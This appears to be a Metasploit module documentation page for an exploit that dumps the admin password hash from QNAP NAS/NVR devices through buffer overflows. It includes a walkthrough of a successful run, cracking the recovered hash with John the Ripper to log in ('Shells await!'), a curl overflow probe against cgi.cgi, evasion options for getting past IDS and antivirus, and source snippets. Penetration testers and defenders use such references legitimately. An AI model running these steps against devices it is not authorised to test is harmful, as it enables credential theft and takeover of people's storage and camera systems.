QNAP NAS/NVR Administrator Hash Disclosure - Metasploit


This page contains detailed information about how to use the auxiliary/gather/qnap_backtrace_admin_hash metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: QNAP NAS/NVR Administrator Hash Disclosure
Module: auxiliary/gather/qnap_backtrace_admin_hash
Source code: modules/auxiliary/gather/qnap_backtrace_admin_hash.rb
Disclosure date: 2017-01-31
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module exploits combined heap and stack buffer overflows for QNAP NAS and NVR devices to dump the admin (root) shadow hash from memory via an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace. A binary search is performed to find the correct offset for the BOFs. Since the server forks, blind remote exploitation is possible, provided the heap does not have ASLR.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/gather/qnap_backtrace_admin_hash
msf auxiliary(qnap_backtrace_admin_hash) > show targets
    ... a list of targets ...
msf auxiliary(qnap_backtrace_admin_hash) > set TARGET target-id
msf auxiliary(qnap_backtrace_admin_hash) > show options
    ... show and set options ...
msf auxiliary(qnap_backtrace_admin_hash) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Introduction


This is going to be a quick rundown of how to use this module to retrieve the admin hash from a vulnerable QNAP device.

The defaults I've set should be adequate for blind exploitation, but you may need to tweak them for your target.

Options


OFFSET_START

You want to set this to a value where you can see a backtrace. Set this lower if you're not sure. Default is 2000.

OFFSET_END

Set this option to a value where you don't see a backtrace. Set this higher if you're not sure. Default is 5000.

RETRIES

Sometimes the attack won't be successful on the first run. This option controls how many times to retry the attack. Default is 10.

VERBOSE

This will tell you how long the binary search took and how many requests were sent during exploitation. Default is false.

Usage


Let's run through a successful exploitation. I've tailored the options to my target. Your target may differ.

msf > use auxiliary/gather/qnap_backtrace_admin_hash 
msf auxiliary(qnap_backtrace_admin_hash) > set rhost [redacted]
rhost => [redacted]
msf auxiliary(qnap_backtrace_admin_hash) > set offset_end 3000
offset_end => 3000
msf auxiliary(qnap_backtrace_admin_hash) > set verbose true
verbose => true
msf auxiliary(qnap_backtrace_admin_hash) > run

[*] QNAP [redacted] detected
[*] Binary search of 2000-3000 completed in 5.02417s
[*] Admin hash found at 0x8068646 with offset 2920
[+] Hopefully this is your hash: $1$$vnSTnHkIF96nN6kxQkZrf.
[*] 11 HTTP requests were sent during module run
[*] Auxiliary module execution completed
msf auxiliary(qnap_backtrace_admin_hash) > 

We got lucky on this run. Sometimes it takes a couple retries to get the hash. Now what do we do with it...

wvu@kharak:~$ john --wordlist --rules --format=md5crypt shadow
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 SSSE3 20x])
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter2          (admin)
1g 0:00:00:01 DONE (2017-03-15 04:41) 0.8928g/s 24839p/s 24839c/s
24839C/s flipper2..mercury2
Use the "--show" option to display all of the cracked passwords reliably
Session completed
wvu@kharak:~$ 

Cracked! Now you can log in to the device. Shells await!

Addendum


I used this curl command to test for offsets:

curl -kv "https://[redacted]/cgi-bin/cgi.cgi?u=admin&p=$(perl -e 'print "A"x2000' | base64 -w 0)"

Go back to menu.

Msfconsole Usage


Here is how the gather/qnap_backtrace_admin_hash auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/qnap_backtrace_admin_hash

msf6 auxiliary(gather/qnap_backtrace_admin_hash) > show info

       Name: QNAP NAS/NVR Administrator Hash Disclosure
     Module: auxiliary/gather/qnap_backtrace_admin_hash
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-01-31

Provided by:
  bashis
  wvu <[email protected]>
  Donald Knuth

Available actions:
  Name       Description
  ----       -----------
  ARM        ARM target
  Automatic  Automatic targeting
  x86        x86 target

Check supported:
  Yes

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  OFFSET_END    5000             yes       Ending offset (no backtrace)
  OFFSET_START  2000             yes       Starting offset (backtrace)
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RETRIES       10               yes       Retry count for the attack
  RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         443              yes       The target port (TCP)
  SSL           true             no        Negotiate SSL/TLS for outgoing connections
  VHOST                          no        HTTP server virtual host

Description:
  This module exploits combined heap and stack buffer overflows for 
  QNAP NAS and NVR devices to dump the admin (root) shadow hash from 
  memory via an overwrite of __libc_argv[0] in the HTTP-header-bound 
  glibc backtrace. A binary search is performed to find the correct 
  offset for the BOFs. Since the server forks, blind remote 
  exploitation is possible, provided the heap does not have ASLR.

References:
  https://seclists.org/fulldisclosure/2017/Feb/2
  https://en.wikipedia.org/wiki/Binary_search_algorithm

Module Options


This is a complete list of options available in the gather/qnap_backtrace_admin_hash auxiliary module:

msf6 auxiliary(gather/qnap_backtrace_admin_hash) > show options

Module options (auxiliary/gather/qnap_backtrace_admin_hash):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   OFFSET_END    5000             yes       Ending offset (no backtrace)
   OFFSET_START  2000             yes       Starting offset (backtrace)
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RETRIES       10               yes       Retry count for the attack
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         443              yes       The target port (TCP)
   SSL           true             no        Negotiate SSL/TLS for outgoing connections
   VHOST                          no        HTTP server virtual host

Auxiliary action:

   Name       Description
   ----       -----------
   Automatic  Automatic targeting

Advanced Options


Here is a complete list of advanced options supported by the gather/qnap_backtrace_admin_hash auxiliary module:

msf6 auxiliary(gather/qnap_backtrace_admin_hash) > show advanced

Module advanced options (auxiliary/gather/qnap_backtrace_admin_hash):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/qnap_backtrace_admin_hash module can do:

msf6 auxiliary(gather/qnap_backtrace_admin_hash) > show actions

Auxiliary actions:

   Name       Description
   ----       -----------
   ARM        ARM target
   Automatic  Automatic targeting
   x86        x86 target

Evasion Options


Here is the full list of possible evasion options supported by the gather/qnap_backtrace_admin_hash auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/qnap_backtrace_admin_hash) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Device does not appear to be a QNAP


Here is a relevant code snippet related to the "Device does not appear to be a QNAP" error message:

74:	    end
75:	  end
76:	
77:	  def run
78:	    if check == Exploit::CheckCode::Safe
79:	      print_error('Device does not appear to be a QNAP')
80:	      return
81:	    end
82:	
83:	    admin_hash = nil
84:	

Looks like we didn't find the hash :(


Here is a relevant code snippet related to the "Looks like we didn't find the hash :(" error message:

97:	        private_type:    :nonreplayable_hash,
98:	        jtr_format:      'md5crypt'
99:	      }.merge(service_details)
100:	      create_credential(credential_data)
101:	    else
102:	      print_error('Looks like we didn\'t find the hash :(')
103:	    end
104:	
105:	    vprint_status("#{@cnt} HTTP requests were sent during module run")
106:	  end
107:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • bashis
  • wvu
  • Donald Knuth

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.